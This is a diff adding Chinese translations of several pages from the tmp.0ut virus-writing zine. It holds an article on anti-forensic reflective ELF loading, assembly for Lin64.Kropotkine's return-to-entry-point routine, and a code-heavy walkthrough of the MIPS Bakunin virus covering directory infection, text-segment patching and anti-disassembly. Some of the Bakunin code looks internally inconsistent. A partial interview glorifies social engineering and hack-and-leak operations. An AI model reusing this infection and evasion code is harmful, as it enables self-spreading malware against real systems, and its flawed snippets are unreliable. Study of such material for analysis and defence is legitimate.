+这种生成的ELF风格给我们提供了一些其他ELF类型无法提供的有趣功能。为了简单起见,我们将这种类型的ELF二进制文件标记为SHELF,并将在本文的其余部分中引用它。以下是SHELF加载所需阶段的更新图:
+
+
+
+如上图所示,与传统的ELF加载方案相比,加载SHELF文件的过程在复杂性方面大大降低。
+
+为了说明加载这些类型文件的约束集减少,以下是最小化SHELF User-Land-Exec方法的代码片段:
+
+
+
+使用这种方法,主题SHELF文件在内存和磁盘上的外观如下:
+
+
+
+如我们所见,进程映像中缺少ELF头和程序头。这是这种ELF风格使我们能够实现的一个功能,将在下一节中讨论。
+
+4.1 反取证功能
+
+这种新的User-Land-Exec方法还有两个可选阶段,对反取证目的有用。由于dl_relocate_static_pie函数将从辅助向量获取重定位所需的所有字段,这给我们留下了空间来处理主题SHELF文件结构在内存和磁盘上的外观。
+
+删除ELF头将直接影响重建能力,因为大多数基于Linux的扫描器将通过首先识别ELF头来扫描进程内存中的现有ELF映像。ELF头将被解析,并将包含有关在何处定位程序头表以及随后文件的映射工件的更多信息。
+
+删除ELF头很简单,因为加载器实际上不需要这个工件 - 主题文件中所需的所有信息都将从前面提到的辅助向量中检索。
+
+可以隐藏的另一个工件是程序头表。与ELF头相比,这是一个略有不同的情况。辅助向量需要定位程序头表,以便RTLD通过应用所需的运行时重定位成功加载文件。无论如何,有许多方法可以混淆PHT。最简单的方法是删除原始程序头表位置,并将其重新定位到只有辅助向量知道的文件中的某个位置。
+
+
+
+我们可以预先计算每个辅助向量条目的位置,并在包含文件中将每个条目定义为宏,在编译时为每个主题SHELF文件定制我们的加载器。以下是如何生成这些宏的示例:
+
+
+
+如我们所见,我们已经解析了主题SHELF文件的e_entry和e_phnum字段,创建了相应的宏来保存这些值。我们还必须选择一个随机基础映像来加载文件。最后,我们定位PHT并将其转换为数组,然后从其原始位置删除它。应用这些修改允许我们完全删除ELF头并更改主题SHELF文件PHT在磁盘和内存中的默认位置(!)
+
+如果无法成功检索程序头表,重建能力可能会受到严格限制,并且必须应用进一步的启发式方法才能成功重建进程映像。
+
+使程序头表的重建更加困难的另一种方法是通过检测glibc实现辅助向量字段解析的方式。
+
+4.2 通过PT_TLS修补来掩盖SHELF特性
+
+即使在通过在制作辅助向量时选择新的任意位置来修改程序头表的默认位置之后,程序头表仍然会驻留在内存中,并且可以通过一些努力找到。为了进一步掩盖我们自己,我们可以覆盖启动代码如何读取辅助向量字段。
+
+执行此操作的代码位于elf/dl_support.c中的_dl_aux_init函数中。抽象地说,代码遍历所有auxv_t条目,每个条目初始化glibc的内部变量:
+
+
+
+需要辅助向量的唯一原因是初始化内部_dl_*变量。知道这一点,我们可以完全绕过辅助向量的创建,并在将执行控制权传递给主题SHELF文件之前执行与_dl_aux_init相同的工作。
+
+唯一关键的条目是AT_PHDR、AT_PHNUM和AT_RANDOM。因此,我们只需要修补依赖于这些字段的相应_dl_*变量。作为如何检索这些值的示例,我们可以使用以下单行命令生成一个包含预计算宏的包含文件,这些宏保存每个dl_*变量的偏移量:
+
+
+
+找到这些变量的偏移量后,我们只需要以原始启动代码使用辅助向量的相同方式修补它们。为了说明这种技术,以下代码将程序头的地址初始化为new_address,并将程序头的数量初始化为正确的数量:
+
+
+
+此时,我们有一个不提供辅助向量的工作程序。因为主题二进制文件是静态链接的,并且加载SHELF文件的代码是我们的加载器,我们可以忽略辅助向量的AT_PHDR和AT_PHNUM或dl_phdr和dl_phnum中的其他每个段。有一个例外,即PT_TLS段,它是在ELF文件格式中实现线程本地存储的接口。
+
+以下位于csu/libc-tls.c中的__libc_setup_tls函数的代码显示了从PT_TLS段检索的信息类型:
+
+
+
+在上面的代码片段中,我们可以看到TLS初始化依赖于PT_TLS段的存在。我们有几种方法可以混淆这个工件,比如修补__libc_setup_tls函数使其仅返回,然后用我们自己的代码初始化TLS。在这里,我们选择实现一个快速的glibc补丁作为概念验证。
+
+为了避免需要PT_TLS程序头,我们添加了一个全局变量来保存PT_TLS的值,并在__libc_setup_tls内部设置值,从我们的全局变量而不是主题SHELF文件程序头表中读取。通过这个小改动,我们最终删除了所有程序头:
+
+
+
+使用以下脚本生成_phdr.h:
+
+
+
+我们可以在包含_phdr.h后以以下方式应用我们的补丁:
+
+
+
+应用上述方法,我们通过在没有ELF头、程序头表和辅助向量的情况下加载和执行我们的SHELF文件获得了高度的规避性 - 就像加载shellcode一样。以下图表说明了SHELF文件的加载过程有多么简单:
+
+
+
+5. 结论
+
+我们已经介绍了ELF文件反射加载的内部机制,解释了User-Land-Exec的先前实现及其优势和缺点。然后我们解释了GCC代码库中实现static-pie二进制文件支持的最新补丁,讨论了我们想要的结果,以及我们为实现生成具有单个PT_LOAD段的static-pie ELF文件而采取的方法。最后,我们讨论了SHELF加载可以提供的反取证功能,我们认为与先前版本的ELF反射加载相比,这是一个相当大的改进。
+
+我们认为这可能是下一代ELF反射加载,它可能有助于读者理解ELF文件格式可以提供的攻击能力的范围。如果您想访问源代码,请联系@sblip或@ulexec。
+
+6. 参考文献
+
+[1] (支持static pie)
+    https://gcc.gnu.org/bugzilla/show_bug.cgi?id=81498
+[2] (gcc第一个补丁)
+    https://gcc.gnu.org/ml/gcc-patches/2017-08/msg00638.html
+[3] (gcc补丁)
+    https://gcc.gnu.org/viewcvs/gcc?view=revision&revision=252034
+[4] (glibc --enable-static-pie)
+    https://sourceware.org/git/?p=glibc.git;a=commit; \
+      h=9d7a3741c9e59eba87fb3ca6b9f979befce07826
+[5] (链接器脚本文档)
+    https://sourceware.org/binutils/docs/ld/PHDRS.html#PHDRS
+[6] https://sourceware.org/binutils/docs/ld/
+      Output-Section-Phdr.html#Output-Section-Phdr
+[7] https://www.akkadia.org/drepper/tls.pdf
+[8] (为什么ld不允许-static -pie -N)
+    https://sourceware.org/git \
+      /gitweb.cgi?p=binutils-gdb.git;a=blob;f=ld/ldmain.c; \
+      h=c4af10f4e9121949b1b66df6428e95e66ce3eed4;hb=HEAD#l345
+[9] (grugq ul_exec论文)
+    https://grugq.github.io/docs/ul_exec.txt
+[10] (ELF UPX内部机制)
+     https://ulexec.github.io/ulexec.github.io/article \
+       /2017/11/17/UnPacking_a_Linux_Tsunami_Sample.html
+
+
diff --git a/1/zh/11.html b/1/zh/11.html new file mode 100644 index 0000000..45adc96 --- /dev/null +++ b/1/zh/11.html @@ -0,0 +1,148 @@ + + +tmp.0ut + + + + +
+                                                           ┌───────────────────────┐
+                                                           ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
+                                                           │ █   █ █ █ █   █       │
+                                                           │ █   █ █ █ █▀▀▀▀       │
+                                                           │ █   █   █ █     ▄     │
+                                                           │                 ▄▄▄▄▄ │
+                                                           │                 █   █ │
+                                                           │                 █   █ │
+                                                           │                 █▄▄▄█ │
+                                                           │                 ▄   ▄ │
+                                                           │                 █   █ │
+                                                           │                 █   █ │
+                                                           │                 █▄▄▄█ │
+                                                           │                 ▄▄▄▄▄ │
+                                                           │                   █   │
+在启用PIE的情况下返回原始入口点                                │                   █   │
+~ S01den                                                   └───────────────────█ ──┘
+
+由tmp.out团队的S01den倾情编写!
+
+--- 1) 引言 ---
+
+当我刚开始接触病毒世界时,我最初遇到的困难之一就是如何正确地返回宿主程序的原始入口点。
+这是每个称职的病毒都必须具备的核心功能,在过去实现起来非常简单(mov ebx, OEP ; jmp ebx)。
+
+你可能会问:"为什么现在不那么容易了?"
+
+答案只有三个字母:PIE,即位置无关可执行文件(Position Independent Executable)。在
+这种二进制文件中,指令的地址在每次执行时都会被随机化(尽管有对齐要求)。因此OEP
+不再是一个常量,我们现在必须先计算它才能跳转过去。
+
+让我们来看看该如何做!
+
+--- 2) 在启用PIE的情况下返回OEP ---
+
+我将在这里描述我在Lin64.Kropotkine[0]中用于计算Ret2OEP的方法。
+我当时卡了几天,直到看到Elfmaster的一篇论文[1]让我豁然开朗。
+
+以下是代码:
+
+-------------------------------- CUT-HERE ------------------------------------------
+mov rcx, r15 ;r15保存了我们的病毒代码存储的地址(在栈中)
+add rcx, VXSIZE ; rcx现在包含病毒代码之后的第一个地址
+mov dword [rcx], 0xffffeee8 ; 相对调用get_eip(在13字节之前)
+mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5)
+mov byte  [rcx+8], 0x00000005
+mov word  [rcx+11], 0x0002d48
+mov qword [rcx+13], r9		 ; sub rax, entry0
+mov word  [rcx+17], 0x0000548
+mov qword [rcx+19], r12		; add rax, sym._start
+mov dword [rcx+23], 0xfff4894c 	; mov rsp, r14
+mov word  [rcx+27], 0x00e0		; jmp rax
+------------------------------------------------------------------------------------
+
+如你所见,我们逐字节将返回OEP的代码直接写入内存(在病毒代码之后,这样当之前的病毒代码
+执行完成后我们就可以跳转到这个例程)。这些字节将被写入宿主程序以进行感染。我们想要
+得到这样的结果:
+
+(这段代码来自我用Lin64.Kropotkine感染的/bin/date)
+
+-------------------------------- CUT-HERE ------------------------------------------
+; 病毒代码的结尾:
+get_rip:
+0x0c01ada3      488b0424       mov rax, qword [rsp]
+0x0c01ada7      c3             ret
+getdot:
+0x0c01ada8      e842fbffff     call 0xc01a8ef          ; 调用main
+0x0c01adad      2e0000         add byte cs:[rax], al   ; '.'
+; <---- 病毒代码结束,我们想在这里注入我们的ret2OEP代码!
+; 我们想要在这里得到的代码:
+0x0c01adb0      e8eeffffff     call 0xc01ada3 ; 调用get_rip <--
+0x0c01adb5      482d0d050000   sub rax, 0x50d ; sub rax, (VXSIZE+5)
+0x0c01adbb      482da8a8010c   sub rax, entry0
+0x0c01adc1      4805b0380000   add rax, 0x38b0 ;  add rax, sym._start
+0x0c01adc7      4c89f4         mov rsp, r14 ; 恢复原始栈
+0x0c01adca      ffe0           jmp rax
+------------------------------------------------------------------------------------
+
+基本上,计算OEP的思路并不复杂。
+假设宿主程序原始代码的第一条指令的偏移量(即非随机化的OEP)是0x38b0,并且当我们调用
+get_rip时(上面代码中的0x0c01adb0)RIP当前是0x55556156edb5(一个随机化的地址)。
+我们需要知道OEP的随机化地址才能跳转到它。
+
+好的,调用get_rip将RIP放入RAX,我们首先需要从RAX(0x55556156edb5)中减去病毒的大小
+(加上5,即call get_rip指令的大小)才能得到病毒代码开始的随机化地址:
+
+---> 0x55556156edb5 - (0x508 + 5) = 0x55556156e8a8 ; 病毒代码第一条指令的地址
+
+现在,我们用这个值减去新的入口点,即病毒代码开始的非随机化地址(在病毒执行之前计算得到,
+在我们的例子中是0xc01a8a8)。
+
+实际上我们只是简单地做了这个:
+
+---> 随机化的新入口点 - 非随机化的新入口点 (e_hdr.entry)
+
+用我们的值计算如下:
+
+---> 0x55556156e8a8 - 0xc01a8a8 = 0x555555554000
+
+我们进行这个减法是为了提取随机化的"基址"。有了这个值,我们只需要将它加上原始的
+e_hdr.entry(非随机化的OEP):
+
+---> 0x555555554000 + 0x38b0 = 0x5555555578b0
+
+你就得到了一个可以跳转的正确地址!
+所以jmp rax将开始执行宿主程序的原始代码!
+
+--- 结论 ---
+总结一下,我们只是做了这样的事:
+
+---> get_rip() - (VX_SIZE + 5) - new_EP + original-e_hdr.entry
+
+如你所见,就是简单的数学运算!;)
+病毒场景万岁!
+哪里有权威,哪里就没有自由。
+一切为了所有人。
+永远向前!
+
+--- 注释和参考文献 ---
+[0] https://github.com/vxunderground/MalwareSourceCode
+      /blob/main/VXUG/Linux.Kropotkine.asm
+[1] 现代ELF感染SCOP二进制文件的技术:
+    https://bitlackeys.org/papers/pocorgtfo20.pdf
+    - 特别是名为"Note on resolving Elf_Hdr->e_entry
+      in PIEexecutables"的部分
+
+--- 源代码 ---
+
+- Linux.Kropotkine.asm
+
\ No newline at end of file diff --git a/1/zh/12.html b/1/zh/12.html new file mode 100644 index 0000000..478207f --- /dev/null +++ b/1/zh/12.html @@ -0,0 +1,346 @@ + + +tmp.0ut + + + + +
+                                                            ┌───────────────────────┐
+                                                            ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
+                                                            │ █   █ █ █ █   █       │
+                                                            │ █   █ █ █ █▀▀▀▀       │
+                                                            │ █   █   █ █     ▄     │
+                                                            │                 ▄▄▄▄▄ │
+                                                            │                 █   █ │
+                                                            │                 █   █ │
+                                                            │                 █▄▄▄█ │
+                                                            │                 ▄   ▄ │
+                                                            │                 █   █ │
+                                                            │                 █   █ │
+                                                            │                 █▄▄▄█ │
+                                                            │                 ▄▄▄▄▄ │
+                                                            │                   █   │
+用MIPS汇编编写病毒的乐趣(无利可图)                             │                   █   │
+~ S01den                                                    └───────────────────█ ──┘
+
+由tmp.out团队的S01den倾情编写!
+2021年1月
+
++----------- 联系方式 -----------+
+| Twitter: @s01den               |
+| 邮箱: S01den@protonmail.com    |
++--------------------------------+
+
+.---\ 引言 /---.
+
+在这篇短文(?)中,我将向你解释我是如何用纯MIPS汇编编写Lin32.MIPS.Bakunin[0]的,这是我的
+第一个针对Linux/MIPS系统(如路由器、物联网设备或视频游戏主机)的病毒。显然,我没有也不会
+将它传播到野外。你也不要做这种愚蠢的事。
+
+我在这里使用了一些有趣的技巧,比如在启用PIE的情况下计算宿主程序的原始入口点,通过几个字节
+破坏对齐来混淆病毒的主要部分,以及更多惊喜!
+
+在开始之前,让我们总结一下Bakunin的基本特性:
+- 使用Silvio Cesare的文本感染方法[1]感染当前目录中的所有ELF文件,无论是否启用PIE
+  (修改文本段定义以使其能够容纳病毒代码)
+- 使用一种简单但强大的反逆向工程技术:假反汇编[2]
+- 打印"X_X"(如你所见,这是个非常棒的有效载荷)
+- 它是一位伟大的无政府主义哲学家 <-- 不是这个Bakunin...
+
+现在你已经兴奋起来了,我们可以开始深入研究Lin32.MIPS.Bakunin的源代码了!
+警告:大量的MIPS代码。请保护好你的眼睛...
+
+.---\ 在MIPS汇编中实现假反汇编技术: /---.
+     \       编写序言部分            /
+
+在开始之前,我想简单解释一下什么是假反汇编。
+
+这种反RE技术很简单,就是通过硬编码指令的前几个字节(这里是前3个字节)来破坏对齐。
+这样,反汇编器会将这些"幽灵"字节解释为指令的开始,并用下一条指令的前几个字节来
+完成它。这将破坏所有的对齐,使许多指令看起来毫无意义。
+
+例如(不是来自我的病毒):
+-------------------- cut-here --------------------
+
+                          jmp hey+2 # 跳过幽灵字节
+hey:                      hey:
+   xor %rbx, %rbx             .ascii "\x48\x31"
+   jmp yo            ====>     xor %rbx, %rbx
+                               jmp yo
+---------------------------------------------------
+
+现在,如果我们查看这两段代码的反汇编结果,会看到这样的内容(使用radare2):
+
+-------------------- cut-here --------------------
+;-- hey:
+0x00401002      4831db         xor rbx, rbx
+0x00401005      eb02           jmp 0x401009
+                          ||
+                          \/
+;-- hey:
+0x00401002      48314831       xor qword [rax + 0x31], rcx
+0x00401006      dbeb           fucomi st(3)
+0x00401008      026631         add ah, byte [rsi + 0x31]
+ ---------------------------------------------------
+
+这对MIPS架构来说非常强大,因为所有指令都由相同数量的字节(4字节)组成,所以指令的
+地址都对齐为4的倍数(以0x0、0x4、0x8或0xc结尾)。
+
+因此我们甚至不需要放置有意义的幽灵字节,可以放置任何我们想要的字节,因为对齐
+无论如何都会被破坏:
+
+0x004000b3                    unaligned
+0x004000b4      fc004003       invalid
+0x004000b8      a0182523       sb t8, 0x2523(zero)
+0x004000bc      bdf00003       cache 0x10, 3(t7)
+0x004000c0      a0202524       sb zero, 0x2524(at)
+0x004000c4      0500ff24       bltz t0, 0x3ffd58
+0x004000c8      02106b00       invalid
+0x004000cc      00000c03       sra at, zero, 0x10
+0x004000d0      a0202524       sb zero, 0x2524(at)
+0x004000d4      05000024       bltz t0, 0x400168
+                 ...
+
+如你所见,就是一堆垃圾 :)
+
+然而,在MIPS汇编中我们不能跳转到任意位置,我们必须跳转到4的倍数地址,因为对齐的
+要求。
+
+这就是为什么我将病毒分为两部分:序言和主体。
+
+序言部分包含一个mmap2系统调用,准备一个可执行的内存区域,我们将把主体代码(未对齐的)
+复制到这里(通过后面的.get_vx例程),然后才能跳转进去。换句话说,我们恢复对齐以便
+能够执行这些指令。
+
+--= 调用mmap2系统调用 =--
+  # 我不知道如何传递超过4个参数(寄存器$a0...$a3),
+  # 所以我写了一个简单的程序使用mmap(),静态链接它
+  # 并反汇编它以查看mmap是如何调用的,这就是我得到
+  # 以下3行代码的方式
+  sw  $zero,20($sp)
+  li  $v0,0
+  sw  $v0,16($sp)
+
+  li $a0, 0
+  li $a1, 0x6a8 # 病毒的完整大小
+  li $a2, 7    # PROT_READ|PROT_WRITE|PROT_EXEC
+  li $a3, 0x0802 # MAP_ANONYMOUS | MAP_PRIVATE
+  li $v0, 4210 # sys_mmap2
+  syscall
+------------------------------
+
+这相当于:
+
+ mmap2(NULL, 0x6a8, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
+
+一旦我们分配了内存区域,我们就获取病毒主体的代码(在假反汇编字节之后)并将其复制进去。
+
+--= 复制病毒主体 =--
+  bgezal $zero, get_pc  # 我们通过直接访问指令的地址来获取代码
+  add $t1, $t1, 0x6f    # 0x6f = 到达主体的字节数,
+                        # 现在$t1包含主体的地址
+  move $t2, $v0         # $t2现在包含我们刚刚mmap的地址
+  li $t0, 0             # $t0将是我们的计数器
+
+  .get_vx:
+    lb $t3, 0($t1)      # 我们将当前获取的字节放入$t3
+    sb $t3, 0($t2)      # 并将这个字节写入$t2指向的区域
+    addi $t0, $t0, 1
+    addi $t1, $t1, 1
+    addi $t2, $t2, 1
+    blt $t0, 0x615, .get_vx # 主体中有0x615字节
+
+    jal $v0                 # 跳转到mmap的区域
+    beq $zero, $zero, eof   # 主体在执行有效载荷后会跳转到这里
+
+  get_pc: # 将保存的eip(或MIPS中的pc)移入$t1
+    move $t1, $ra
+    jr $ra
+---------------------------------
+
+注意:我们使用beq或bgezal这样的指令是因为我们必须在病毒中使用相对跳转(否则它们在
+被感染的二进制文件中无法工作),但经典的跳转指令(如j或jal)是绝对的...
+
+序言的结尾只包含一个sys_exit系统调用和一个填充,为9条指令留出空间(eof例程将在感染
+期间被重写为计算PIE下OEP的代码),以及.ascii "\xeb\x01\xe8",这些幽灵字节破坏了
+主体代码的对齐。
+
+.---\ 感染整个目录:编写主体部分 /---.
+
+现在我们进入主体部分,可以做一些经典的病毒操作了。
+
+为了能够感染二进制文件,病毒必须获取当前目录中潜在宿主的列表。
+
+我们首先通过sys_getcwd系统调用获取当前目录的名称,然后通过sys_open系统调用打开它。
+
+一旦目录被打开,我们使用sys_getdents64系统调用获取一个包含目录中文件名的结构。
+
+我们用以下例程简单地解析它:
+
+--= 解析dirent结构 =--
+li $s0, 0 # s0将是我们的计数器
+parse_dir:
+  move $s2, $sp # s2将包含文件名的地址
+  addi $s2, $s2, 0x13 # d_name
+
+  li $t1, 0
+  addi $t1, $sp, 0x12
+  lb $t1, 0($t1) # t1现在包含条目的类型(文件或目录)
+
+  bgezal $zero, infect
+  li $t9, 0
+
+  # 获取d_reclen(参见dirent64结构的组织...)
+  addi $t9, $sp, 0x10
+  lb $t0, 1($t9)
+
+  # 缓冲区位置 += d_reclen
+  add $s0, $s0, $t0
+
+  add $sp, $sp, $t0
+
+  blt $s0, $s1, parse_dir # 如果计数器 < 条目数:跳转到parse_dir
+------------------------------------
+
+然后,我们打开每个文件,并以这种方式mmap它们:
+mmap2(NULL, len_file, PROT_WRITE|PROT_EXEC, MAP_SHARED, fd, 0)
+
+然后检查它们是否能够容纳病毒:
+
+--= 一些检查 =--
+# $s5包含mmap区域的地址
+
+.check_magic:
+  lw $t0, 0($s5)
+  li $t1, 0x7f454c46 # 通过检查魔数字节检查文件是否是ELF
+  bne $t0, $t1, end
+
+.check_bits:
+  lb $t0, 4($s5)
+  bne $t0, 1, end # 这里,我们检查e_ident[EI_CLASS],以知道我们
+                  # 尝试感染的ELF是32位还是64位(如果是64位,跳转到end)
+
+.check_arch:
+  lb $t0, 18($s5)
+  li $t1, 8
+  bne $t0, $t1, end # 检查e_machine,以确保我们只感染MIPS二进制文件
+
+.check_infected:
+  lw $t0, 0x18($s5)
+  li $t1, 0x1000
+  bne $t0, $t1, end # 检查e_entry,如果它不是0x1000,说明文件已经被感染
+
+.check_type:
+  lh $t0, 0x10($s5)
+  li $t1, 2
+  bne $t0, $t1, end # 检查e_type,确保文件是可执行文件
+
+现在我们已经确认文件是一个有效的宿主,我们可以开始感染过程。我们使用Silvio Cesare的
+文本感染方法,它包括修改文本段的定义以使其能够容纳病毒代码。
+
+我们首先需要找到程序头表中的文本段:
+
+--= 定位文本段 =--
+  lw $t0, 0x1c($s5) # e_phoff
+  add $t0, $t0, $s5 # $t0 = 程序头表的地址
+
+  lw $t1, 0x2c($s5) # e_phnum
+  li $t2, 0 # 计数器
+
+.find_text:
+  lw $t3, 0($t0) # p_type
+  li $t4, 1
+  beq $t3, $t4, .found_text
+
+  addi $t0, $t0, 0x20 # sizeof(Elf32_Phdr)
+  addi $t2, $t2, 1
+  blt $t2, $t1, .find_text
+  b end
+
+.found_text:
+  # 保存一些我们稍后需要的值
+  lw $t3, 4($t0)  # p_offset
+  lw $t4, 8($t0)  # p_vaddr
+  lw $t5, 0x10($t0) # p_filesz
+  lw $t6, 0x14($t0) # p_memsz
+
+  # 修改段的大小以容纳病毒
+  li $t7, 0x6a8 # 病毒大小
+  add $t5, $t5, $t7
+  add $t6, $t6, $t7
+  sw $t5, 0x10($t0)
+  sw $t6, 0x14($t0)
+
+  # 修改入口点
+  sw $t4, 0x18($s5)
+
+  # 保存原始入口点
+  lw $t7, 0x18($s5)
+  sw $t7, 0x34($s5)
+
+现在我们已经修改了文本段,我们可以将病毒代码复制到文件末尾。但首先,我们需要
+生成返回原始入口点的代码。
+
+.---\ 在启用PIE的情况下返回原始入口点 /---.
+
+这是最有趣的部分。我们需要计算原始入口点的地址,即使在启用PIE的情况下。
+
+这是我的方法:
+
+1) 首先,我们需要获取当前指令的地址(在MIPS中是PC)。我们可以使用一个相对调用来
+   实现这一点:
+
+   bgezal $zero, get_pc
+   nop
+   get_pc:
+     move $t8, $ra
+
+2) 现在$t8包含了当前指令的地址。我们需要减去一些值以获得病毒代码的开始地址:
+
+   li $t9, 0x6a8 # 病毒大小
+   sub $t8, $t8, $t9
+
+3) 现在$t8包含了病毒代码在内存中的地址。我们需要减去文件中病毒代码的偏移量,
+   以获得加载基址:
+
+   lw $t9, 0x1c($s5) # e_phoff
+   add $t9, $t9, $s5 # $t9 = 程序头表的地址
+   lw $t7, 0($t9) # p_vaddr
+   sub $t8, $t8, $t7
+
+4) 最后,我们将这个基址加上原始入口点,就得到了正确的地址:
+
+   lw $t9, 0x34($s5) # 原始入口点
+   add $t8, $t8, $t9
+   jr $t8
+
+这就是全部了!我们的病毒现在可以在任何MIPS二进制文件中工作,无论是否启用PIE。
+
+.---\ 结论 /---.
+
+编写MIPS病毒是一个有趣的挑战。我学到了很多关于MIPS架构和ELF文件格式的知识。
+我希望这篇文章能帮助你理解一些有趣的技术,如假反汇编和在启用PIE的情况下返回
+原始入口点。
+
+记住:这只是为了教育目的。不要将这些技术用于恶意目的。
+
+--- 注释和参考文献 ---
+[0] https://github.com/vxunderground/MalwareSourceCode/blob/main/VXUG/Linux.MIPS.Bakunin.asm
+[1] "Unix Viruses" by Silvio Cesare
+[2] "The Art of Anti Reverse Engineering" by Peter Ferrie
+
+--- 源代码 ---
+
+- Linux.MIPS.Bakunin.asm
+
\ No newline at end of file diff --git a/1/zh/13.html b/1/zh/13.html new file mode 100644 index 0000000..aecea95 --- /dev/null +++ b/1/zh/13.html @@ -0,0 +1,189 @@ + + +tmp.0ut + + + + +
+                                                       ┌───────────────────────┐
+                                                       ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
+                                                       │ █   █ █ █ █   █       │
+                                                       │ █   █ █ █ █▀▀▀▀       │
+                                                       │ █   █   █ █     ▄     │
+                                                       │                 ▄▄▄▄▄ │
+                                                       │                 █   █ │
+                                                       │                 █   █ │
+                                                       │                 █▄▄▄█ │
+                                                       │                 ▄   ▄ │
+                                                       │                 █   █ │
+                                                       │                 █   █ │
+                                                       │                 █▄▄▄█ │
+                                                       │                 ▄▄▄▄▄ │
+                                                       │                   █   │
+访谈:herm1t                                          │                   █   │
+~ tmp.0ut 团队                                        └───────────────────█ ──┘
+
+t0:
+  跟我们谈谈Linux病毒技术这些年的演变 - 在没有现在这么丰富的文档的时候是什么样的,
+  这个领域的哪些发现启发了你,你认为它将何去何从?
+
+herm1t:
+  Silvio Cesare和grugq的文章帮助很大,Tracy Reed的邮件列表也是。我还在工作的生产
+  系统上遇到过几次Bliss和其他一些早期病毒。关于文档,我赞同早期开源软件的态度
+  "阅读源代码吧,卢克",这是最好的文档。虽然90年代和2000年代早期的黑客场景激发了
+  我的想象力,但我很害羞,认为没人会对我的小爱好感兴趣,我在技术上进展缓慢,直到
+  反情报部门和警察敲响了我的门。
+
+t0:
+  90年代末你在undernet的#vir / #virus频道吗?
+
+herm1t:
+  我试过 :-) 但由于我糟糕的语言能力,而且无法解释我为什么在那里,我很快就被频道
+  封禁了,只能再次回来安静地听着,被无休止且无关的闲聊弄得很无聊。
+
+t0:
+  跟我们说说你自己编写ELF病毒的演变过程 - 你最初使用什么技术,接下来做了什么,
+  你做过的最难的技术是什么?或者你最自豪的是什么?
+
+herm1t:
+  我学到的最重要的事情是,你不需要汇编就能把事情做对(但你还是应该学习汇编)。作为
+  一个"真正的程序员用汇编"的人,我用汇编复现了Silvio的段技术,并以同样的方式继续了
+  多年,直到我意识到底层的东西是不必要的。人们可以轻松地从内存中无文件注入代码,
+  找到导入和所有这些东西,甚至不用担心指令长度之类的,这让生活好多了 :-)
+
+t0:
+  你更喜欢哪些感染方法,更喜欢哪些技术?你认为我们在未来可以期待什么?
+
+herm1t:
+  经典的文件病毒早已死亡。现在有很多现代恶意软件利用unix系统中的两个明显的安全漏洞
+  (LD_PRELOAD和ptrace),不过,随着ptrace被限制,LD_PRELOAD也可能被关闭,旧时代的
+  感染技术可能会再次被使用,例如通过用一些lib-boring-something替换sshd中的libz.so,
+  或者向二进制文件添加一段代码 :-) sshd后门(如ESET的"Darkside")或类似Darkleech
+  这样的东西仍然需要在目标系统上重新编译,这是一种耻辱。看起来黑帽们错过了他们的
+  课程,正在试图重新发明轮子。
+
+t0:
+  你认为ELF病毒编写有未来吗?我们是否停留在过去?
+
+herm1t:
+  随着Linux在每部手机、物联网设备和桌面上的普及,我确信ELF感染和系统内部机制的
+  艺术将再次流行。
+
+t0:
+  你看到Ubuntu 20.04中95%的二进制文件都实现的新CET / -fcf-protection了吗?你对此
+  有什么想法,或者你已经尝试过了吗?
+
+herm1t:
+  我还不熟悉CET,但我可以给你讲个故事。有一次我在追踪一个人,我缺少的(为了完成
+  安全检查)是他的电话号码。我试图通过OSINT但没有结果。然后我就从一个假账号给他
+  发邮件,写道"立即把你的电话发给我",你猜怎么着?他照做了。纯技术手段无法保证
+  安全。总会有漏洞的。
+
+t0:
+  你对现代恶意软件有什么看法?
+
+herm1t:
+  大多数时候它极其无聊(但仍然有效)
+
+t0:
+  你认为VX场景还有机会吗?随着最近发生的一切,恶意软件专注于变现等。VXHeavens
+  发生了什么?对未来有什么计划?你认为恶意软件编写自上个十年以来有哪些变化?
+
+herm1t:
+  我们所知的场景已经死亡(我最近和LovinGod讨论过这个问题,他称VXH为"场景的棺材"),
+  但可能会有一个更广泛的社区,因为病毒编写和黑客技术总体上比以往任何时候都更加
+  实际。2018年,我在乌克兰司法部发现了webshell(不是我安装的),我在Facebook上
+  嘲笑了他们。网络警察认真对待了这件事,他们决定突袭这个信使。我提前知道了突袭的
+  事,就关闭了网站(因为在乌克兰以任何形式分享病毒都是非法的),也许我会以某种
+  形式再次恢复它。距离"Greta案件"的庭审还有四天,我很难确定日期 :-)
+
+  顺便说一下,有了这些在.plt和其他地方的endbr64东西,如果你修改二进制文件,它会
+  "保护"你的病毒免受"未授权"的ret影响 :-)
+
+t0:
+  跟我们谈谈你自己的Linux病毒 - Casher、Cavity、Pulpit等?
+
+herm1t:
+  我的大多数病毒都专注于ELF格式的技巧,我只是打开一些随机的可执行文件,查看各个
+  段,心里有几个问题 - 它能被移动或缩小以腾出空间吗?你能从它那里获得控制权以避免
+  触及入口点吗?所以病毒就是这样做的,"Coin"从段对齐要求中获得更多空间,"Caveat"
+  在PHT中放置加载器,"Arches"使用函数填充,"Hasher"玩弄.hash,"PiLoT"玩弄.plt;
+  最近的病毒是关于停止使用汇编,停止DOS式的直接使用系统调用的模式,转而使用内存中
+  总是存在的libc的导入,并更深入地研究自我重定位(RELx)和变形(Lacrimae)。从那
+  时起,我仍然对glibc/内核内部机制感兴趣,这对我的系统编程和安全工作(我以此为生)
+  帮助很大。
+
+t0:
+  你对脚本语言中的变形技术有什么看法?我想到了SPTH写的"JavaScript中的变形和自编译"
+
+herm1t:
+  回到技术话题,你可能知道我是编译器相关技术的忠实粉丝,我非常确信DSL和编译器是
+  继变形之后的下一个重要领域,无论是脚本(这比较简单)还是机器代码。
+
+t0:
+  你是如何学习这些其他技能的 - 社会工程学 - 这对你来说是自然而然的,还是你研究过
+  心理学,或者阅读过其他人的社会工程学经验?
+
+herm1t:
+  任何大型官僚机构都有固有的弱点,这是一个系统,如果你知道合法请求是什么样的,
+  你就可以伪造它,通过利用机构间的竞争,你可以让他们别无选择只能继续。有了被黑的
+  邮件的访问权限,你实际上可以进入目标的头脑,操纵人做你需要的事情。我更喜欢这个
+  过程,就是当你找到绕过安全的方法的那一刻。但是"信息"阶段,当你把泄露的信息放到
+  网上并提醒媒体时也是一样的。你需要把你的信息传达给目标,让他们感到悔恨,也要
+  传达给广大观众,让人们相信这是正确的事情,所以这有点像黑客,但是对象是人而不是
+  机器。
+
+t0:
